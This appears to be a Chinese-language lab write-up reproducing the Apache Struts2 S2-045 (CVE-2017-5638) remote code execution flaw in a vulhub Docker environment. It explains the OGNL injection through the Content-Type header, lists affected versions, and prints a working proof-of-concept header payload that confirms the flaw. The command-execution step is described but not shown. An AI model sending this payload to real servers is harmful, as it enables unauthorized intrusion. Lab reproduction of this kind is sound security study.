S2-045漏洞复现

S2-045（CVE-2017-5638）

OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写，它是一个开源项目。Struts框架使用OGNL作为默认的表达式语言。

struts2的rce本质都是一样的(除了S2-052以外)，都是Struts2框架执行了恶意用户传进来的OGNL表达式，造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等，只不过需要精心构造不同的OGNL代码而已。
 
 

0x00 漏洞原理

Apache Struts 2被曝存在远程命令执行漏洞，漏洞编号S2-045，CVE编号CVE-2017-5638，在使用基于Jakarta插件的文件上传功能时，有可能存在远程命令执行。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞，进而执行系统命令（Struts2框架执行了恶意用户传进来的OGNL表达式）
 
 

0x01 影响版本

受影响的版本：Struts 2.3.5 - Struts 2.3.31、Struts 2.5 - Struts 2.5.10
 
 

0x02 环境搭建

1.docker环境及vulhub靶场
2.Burp Suite抓包工具
 
 

0x03 漏洞复现

cd vulhub-master/struts2/s2-045       #切换到s2-045目录下
docker-compose up -d                  #命令启动Struts2-045

 
 

192.168.68.68:8080    #环境启动后访问服务器IP 

 
 

随便上传个文件，并用Burpsuite抓包，替换Content-Type为POC

POC

Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data 

 
 

可以看到成功返回233*233的计算结果(54289)，则证明存在该漏洞

 
 

用工具检测一遍，成功检测到S2-045漏洞

 
 

执行命令

 
 

设置代理，常看构造的数据包

 
 

通过OGNL表达式执行了cmd命令

 
 
 
 
 
 
参考链接
https://vulhub.org/#/environments/struts2/s2-045/
https://www.cnblogs.com/zzjdbk/p/13335134.html